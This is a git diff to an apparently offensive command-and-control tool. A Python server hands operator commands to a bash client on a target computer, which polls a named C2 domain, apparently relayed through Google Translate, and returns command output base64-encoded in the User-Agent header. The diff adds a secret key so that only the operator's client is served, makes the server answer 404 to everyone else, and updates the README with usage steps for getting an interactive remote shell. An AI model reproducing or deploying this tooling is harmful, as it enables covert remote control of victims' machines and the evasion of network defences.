diff --git a/README.md b/README.md
index d53c858..0750742 100644
--- a/README.md
+++ b/README.md
@@ -12,10 +12,12 @@ First you need a VPS and a domain, for the domain you can get a free one on [Fre
 Start the server.py on your VPS
 ```bash
 python2.7 server.py
+Server running on port: 80
+Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
 ```
-Execute the client on a computer with access to [Google Translator](https://translate.google.com).
+It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing the secret key generated by the server.
 ```bash
-bash client.sh
+bash client.sh e294a11e-bb6f-49ed-b03a-9ec42be55062
 ```
 Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories.
 
diff --git a/client.sh b/client.sh
index 1c48d53..82802cc 100755
--- a/client.sh
+++ b/client.sh
@@ -1,8 +1,14 @@
 #!/bin/bash
+set -x
+if [ -z "$1" ]; then
+  echo -e "Error\nExecute: $0 secretkey-provided-by-the-server\n"
+  exit 1
+fi
 
 running=true
+secretkey="$1"
 user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
-c2server="http://www.dedonocuegritaria.ml/"
+c2server="http://www.dedonocuegritaria.ml/?key=$secretkey"
 result=""
 input="/tmp/input"
 output="/tmp/output"
diff --git a/server.py b/server.py
index ca989f7..f91a504 100644
--- a/server.py
+++ b/server.py
@@ -1,26 +1,35 @@
 #!/usr/bin/python
 
+from uuid import uuid4
 from urlparse import urlparse, parse_qs
 from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
 
 serverPort = 80
+secretkey = str(uuid4())
 
 class webServer(BaseHTTPRequestHandler):
 
     def do_GET(self,):
         useragent = self.headers.get('User-Agent').split('|')
-        self.send_response(200)
+        querydata = parse_qs(urlparse(self.path).query)
+        if 'key' in querydata:
+            if querydata['key'][0] == secretkey:
+                self.send_response(200)
+                self.send_header("Content-type","text/html")
+                self.end_headers()
+
+                if len(useragent) == 2:
+                    response = useragent[1].split(',')[0]
+                    print(response.decode("base64"))
+                    self.wfile.write("")
+                    return
+                cmd = raw_input("$ ")
+                self.wfile.write("{}".format(cmd))
+                return
+        self.send_response(404)
         self.send_header("Content-type","text/html")
         self.end_headers()
-
-        query_components = parse_qs(urlparse(self.path).query)
-        if len(useragent) == 2:
-            response = useragent[1].split(',')[0]
-            print(response.decode("base64"))
-            self.wfile.write("")
-            return
-        cmd = raw_input("$ ")
-        self.wfile.write("{}".format(cmd))
+        self.wfile.write("Not Found")
         return
 
     def log_message(self, format, *args):
@@ -29,6 +38,7 @@ def log_message(self, format, *args):
 try:
     server = HTTPServer(("", serverPort), webServer)
     print("Server running on port: {}".format(serverPort))
+    print("Secret Key: {}".format(secretkey))
     server.serve_forever()
 except KeyboardInterrupt:
     server.socket.close()